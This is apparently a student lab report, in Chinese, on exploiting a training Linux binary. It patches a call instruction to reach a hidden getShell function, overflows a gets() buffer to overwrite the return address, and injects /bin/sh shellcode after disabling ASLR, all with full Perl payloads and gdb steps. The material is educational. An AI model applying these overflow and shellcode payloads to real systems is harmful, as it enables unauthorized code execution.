zoukankan      html  css  js  c++  java
  • 20174309徐宁艺 Exp1 PC平台逆向破解

    一、实践目标

           本次实践的对象是一个名为pwn1的linux可执行文件。
           该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
           该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
           三个实践内容如下:

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。

           这几种思路,基本代表现实情况中的攻击目标:

    • 运行原本不可访问的代码片段
    • 强行修改程序执行流
    • 以及注入运行任意代码。

    二、实践原理

    (一)常见汇编指令

    指令 机器码 说明
    NOP 0x90 空指令,什么也不做
    JNE 0x75 条件转移指令,不相等则跳转
    JE 0x74 条件转移指令,相等则跳转
    JMP

    0xe9

    0xeb

    0x f f

    0xea

    段内直接近转移Jmp near

    段内直接短转Jmp short

    段内间接转移Jmp word

    段间直接(远)转移Jmp far

    CMP 0x39 比较指令,相当于减法,可以改变标志位,不保存结果

     (二)Linux基本操作

    1.管道操作

    管道操作是指将一端命令的输出交给另一端的命令处理。
    格式:命令1 | 命令2
    2.输入输出重定向

    输入输出重定向是指改变执行命令时的默认输入与输出
    重定向输入 <,重定向输出 > >>
    shell 输入输出重定向:command > file 输出重定向到file file里的内容会被新内容替换掉,command >> file 输出重定向到file 内容添加到file文件末尾。

    3.Bof相关原理

    反汇编命令:objdump -d [文件名] | more

    反汇编文件格式:内存地址、机器指令、机器指令对应的汇编语言

    EIP寄存器:指向下一条要执行的指令

     4.相关工具gdb和vi

          (1)gdb调试工具

           gdb是GNU开源组织发布的一个强大的UNIX下的程序调试工具。与Window下的IDE不同,GDB是纯命令行执行的,并没有图形界面方法。本次实践用到的命令有:

    gdb命令 参数 含义
    run 命令行参数 运行程序,可简写为r
    info break 显示断点信息
    quit   退出

          (2)vi工具

           vi是 Unix 操作系统和类 Unix 操作系统中最通用的文本编辑器。以 vi 打开一个文档就直接进入一般模式,在一般模式中可以进行删除、复制、粘贴等的动作,但是却无法编辑文件内容的,按下『i, I, o, O, a, A, r, R』等任何一个字母之后会进入编辑模式,编辑模式下按Esc键可退回一般模式。

    三、实践过程

           先将附件中下载的pwn1文件复制到本机的共享文件夹中,但是悲哀地发现之前安装的时候可以共享文件,现在共享文件夹竟然是空的。查找资料和多次尝试之后,推测可能是vm-tools的问题,解决方法如下:

           ①重新安装vm-tools

           右键单击虚拟机,点击【设置】,选择硬件【CD/DVD(SATA)】,使用ISO镜像目录为C:Program Files (x86)VMwareVMware Workstation下的linux镜像

           点击【确定】后在虚拟机右下角找到【CDDVD】右键单击选择【链接】

           此时桌面会出现【VMware Tools】,右键选择【挂载卷】然后打开

            选择压缩文件进行解压至/tmp文件

            然后打开终端,输入 cd /tmp/vmware-tools-distrib  ./vmware-install.pl ,一路回车,最后安装完成后重启。

           ②挂载共享文件。

           输入 sudo apt-get install open-vm-dkms 和 sudo apt-get install open-vw-tools-dkms 都显示无法定位软件包,最后成功的命令是 sudo apt-get install open-vw-tools ,之所以出现这种情况是因为源的不同,可以多尝试几个。

           然后输入命令 sudo vmhgfs-fuse .host:/ /mnt/hgfs ,显示

            使用命令 sudo vmhgfs-fuse .host:/ /mnt/hgfs -o nonempty -o allow_other 即可。此时打开共享文件夹可以看到20174309pwn1文件。 以上就当做对前一篇博客的补充。

    (一)改程序机器指令

           1.反汇编分析程序

           使用 cp 20174309pwn1 4309pwn1 对文件进行备份, objdump 4309pwn1 -d |more 进行反汇编。

           分析main函数中,按照正常流程,call指令会调用foo函数,e8是call指令的机器码,后面跟着四字节的偏移量ff ff ff d7(小端序,补码)。call指令在执行时,会将EIP的值(即下一条指令的地址:0x080484ba)压栈,然后修改寄存器EIP,EIP+偏移量= 0x080484b + 0xffffffd7 = 0x08048491,将EIP指向foo函数的起始地址。
           我们需要修改call指令的偏移量,根据“目的地址=EIP(call的下一条指令的地址)+偏移量”,新的偏移量 = 0x0804847d(getShell函数的起始地址) - 0x080484ba = 0xffffffc3。

           2.vi修改程序

           用vi打开4309pwn1文件后是乱码,按ESC键后输入 :%!xxd 回车可显示16进制,输入 /d7 可以搜索文件中所有的d7,结合反汇编中d7相邻的数字可以确定位置,使用按r键修改d7位为c3,然后输入 :%!xxd -r 改为原来的格式,输入 :wq 保存并退出。

           3.验证修改成功

           先对修改后的文件进行反汇编如下,可以看到call指令后的函数已变为getshell。

           运行文件结果如下,可知修改成功。

    (二)BOF改变指令流

            1.反汇编查看程序功能

           (1)调用gets函数,该函数不会检查用户输入的长度,通过“栈溢出”覆盖EIP可以改变程序的执行流。

           (2)预留局部变量的空间为0x38,其中gets函数存放读取到字符串的空间为0x1c(十进制28)。

           (3)在【push %ebp】指令之前是call指令(等于push + jmp),此外还有栈底指针ebp,可得堆栈结构(红色为foo函数的堆栈)如下:

             因此我们需要构造长度为36的字符串,其中第33-36字节是我们需要覆盖的地址。

             2.gdb验证覆盖地址

            输入 sudo apt-get install gdb 安装gdb工具,进入文件目录后运行未修改的pwn文件 gdb 20174309pwn1 ,输入r运行,输入40个字节的字符串后出现段错误,输入【info r】可以看到EIP的值为0x35353535,可以验证第33-36为EIP的空间。

             3.构造输入字符串

            由上分析的需把33-36这四位改为getshell的内存地址0x0804847d,又因为是小端优先,所以构造的字符串为11111111222222223333333344444444x7dx84x04x08。由于键盘无法输入16进制,因而先用Perl命令生成字符串文件。

            输入命令perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' >input ,使用 xxd input 验证字符串文件是否正确。

     

           对原文件备份后将input的输入通过管道符“ | ”作为4309pwn2的输入 (cat input; cat) | ./4309pwn2 ,然后可以输入getshell命令进行验证。

    (三)注入shellcode并执行

            1.准备工作

           修改以下设置:(红色为显示的结果)

    root@KaliYL:~# execstack -s 4309pwn3    //设置堆栈可执行
    root@KaliYL:~# execstack -q 4309pwn3    //查询文件的堆栈是否可执行
    X 4309pwn3
    root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
    2
    root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
    0

           (1)输入第一条指令时出现【bash:execstack:未找到命令】,解决方案:输入 sudo apt-get install prelink 即可。

           (2)输入第四条指令时显示权限不够,转换root用户时出现【su:鉴定故障】,可能是root用户未设置密码,解决方案: sudo passwd root 重置密码,然后 su root 再输入后续指令即可。

           2.构造要注入的payload

    Linux下有两种基本构造攻击buf的方法:

    • retaddr+nop+shellcode
    • nop+shellcode+retaddr

           因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边。

           输入指令 perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode 

           上面最后的x4x3x2x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。 特别提醒:最后一个字符千万不能是x0a。不然下面的操作就做不了了。

            接下来确定x4x3x2x1具体是多少。

            输入指令 (cat input_shellcode;cat) | ./4309pwn3 ,切记不可因为没有显示就再按一次回车,因为会使程序执行结束,也就无法找到进程号。

            再打开另外一个终端,输入 ps -ef | grep 4309pwn3 来找到4309pwn3的进程号为3886。如果只有一行显示就是不对的,可以从上一行开始重新操作。

            用gdb工具调试4309pwn3这个程序。

            通过设置断点,来查看注入buf的内存地址。先用 disassemble foo 对foo函数进行反汇编,断点应该放到返回以前,因为返回的话就会执行POP EIP,把我们之前放的x4x3x2x1 POP进去发生段错误。然后用 break *0x080484ae 来设置断点

             设置完断点后要回到之前的终端按下回车键,此时gets程序已经完成,输入c继续执行。

     

            输入 info r esp 查看esp寄存器的地址为0xffffd35c,shellcode就在后面为0xffffd35c + 0x00000004=0xffffd360(不踩老师的坑 [手动狗头] )。

            退出gdb工具,输入指令 perl -e 'print "A" x 32;print "x60xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode 来改变覆盖地址,然后输入 (cat input_shellcode;cat) | ./4309pwn3 运行,此时便可以进执行机器指令了。

    四、实践总结

           第一次网络对抗实践,第一次使用博客写实验报告(顺便吐槽博客园的格式着实难受),感觉打开了新世界的大门。

    (一)收获与感想

           实践过程主要是跟着老师发在云班课的视频走的,过程也比较顺畅没什么大的问题。我觉得本次实践最重要的就是函数运行中堆栈的变化过程,这一项老师也在视频中多次讲解,已经十分细致,好好看视频理解起来也不是特别困难。

           收获就比较多了,机器指令、十六进制、反汇编和溢出攻击等等,也自己查阅了很多资料。课程知识是一方面,更重要的是亲自动手操作的乐趣和成就感。对Linux系统也有了更大的兴趣,或许等结课以后可以试着给自己电脑装一个Linux系统。

    (二)什么是漏洞?漏洞有什么危害?

           我认为漏洞是计算机和网络中可以用来进行攻击的各种弱点和缺陷。

           漏洞可能导致系统异常或崩溃、信息泄露、网页篡改等,危害个人或组织的财产、隐私、甚至是国家机密,危害人身安全和社会正常运转,影响经济社会发展。

  • 相关阅读:
    [LeetCode] 1131. Maximum of Absolute Value Expression 绝对值表达式的最大值
    [LeetCode] 1130. Minimum Cost Tree From Leaf Values 叶值的最小代价生成树
    [LeetCode] 1129. Shortest Path with Alternating Colors 颜色交替的最短路径
    [LeetCode] 1128. Number of Equivalent Domino Pairs 等价多米诺骨牌对的数量
    [LeetCode] 1125. Smallest Sufficient Team 最小的必要团队
    [LeetCode] 1124. Longest Well-Performing Interval 表现良好的最长时间段
    [LeetCode] 1122. Relative Sort Array 数组的相对排序
    Gitalk 自动初始化评论
    [LeetCode] 1111. Maximum Nesting Depth of Two Valid Parentheses Strings 有效括号的嵌套深度
    [LeetCode] 1110. Delete Nodes And Return Forest 删点成林
  • 原文地址:https://www.cnblogs.com/20174309xny/p/12422024.html
Copyright © 2011-2022 走看看